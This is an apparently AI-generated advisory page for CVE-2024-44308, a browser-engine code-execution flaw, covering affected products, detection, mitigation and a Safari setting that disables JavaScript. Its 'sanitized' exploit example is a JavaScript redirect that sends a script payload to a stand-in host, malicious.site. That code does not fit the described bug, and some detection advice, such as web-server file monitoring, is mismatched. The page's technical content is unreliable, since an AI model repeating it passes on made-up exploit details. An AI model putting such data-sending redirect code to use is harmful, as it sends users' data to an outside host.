CVE-2024-44308 Overview
The issue was addressed with improved checks. This issue is fixed in Safari 18.1.1, iOS 17.7.2 and iPadOS 17.7.2, macOS Sequoia 15.1.1, iOS 18.1.1 and iPadOS 18.1.1, visionOS 2.1.1. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.
Critical Impact
Processing maliciously crafted web content may lead to arbitrary code execution.
Affected Products
- debian debian_linux
- apple safari
- apple ipados
Discovery Timeline
- 2024-11-20 - CVE CVE-2024-44308 published to NVD
- 2025-11-04 - Last updated in NVD database
Technical Details for CVE-2024-44308
Vulnerability Analysis
The vulnerability arises from improper checks during the processing of web content, allowing maliciously crafted inputs to execute arbitrary code on affected systems.
Root Cause
Improper input validation allows for remote code execution through crafted web content.
Attack Vector
Network
// Example exploitation code (sanitized)
function exploit(payload) {
const maliciousContent = `https://malicious.site?data=${payload}`;
window.location.href = maliciousContent;
}
exploit("<script>alert('Exploit executed');</script>");
Detection Methods for CVE-2024-44308
Indicators of Compromise
- Unusual outbound traffic to unrecognized domains
- Presence of unexpected scripts in user session data
- Logs showing execution of scripts on typically unmodified URLs
Detection Strategies
Utilize deep packet inspection tools and web traffic analysis to identify malicious scripts and unapproved domain communications. Employ file integrity monitoring on web server directories.
Monitoring Recommendations
Regularly update and enforce security policies on web gateways. Use honeypot-based detection systems to identify possible exploitation attempts.
How to Mitigate CVE-2024-44308
Immediate Actions Required
- Disable untrusted web content execution in browsers.
- Implement strict content security policies.
- Update affected systems to the latest patched versions.
Patch Information
Patches are available in Safari 18.1.1, iOS 17.7.2, iPadOS 17.7.2, macOS Sequoia 15.1.1, iOS 18.1.1, iPadOS 18.1.1, and visionOS 2.1.1.
Workarounds
Disable Javascript in browsers using group policy or management software as a temporary mitigation.
# Configuration example
defaults write com.apple.Safari WebKitJavaScriptEnabled -bool false
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
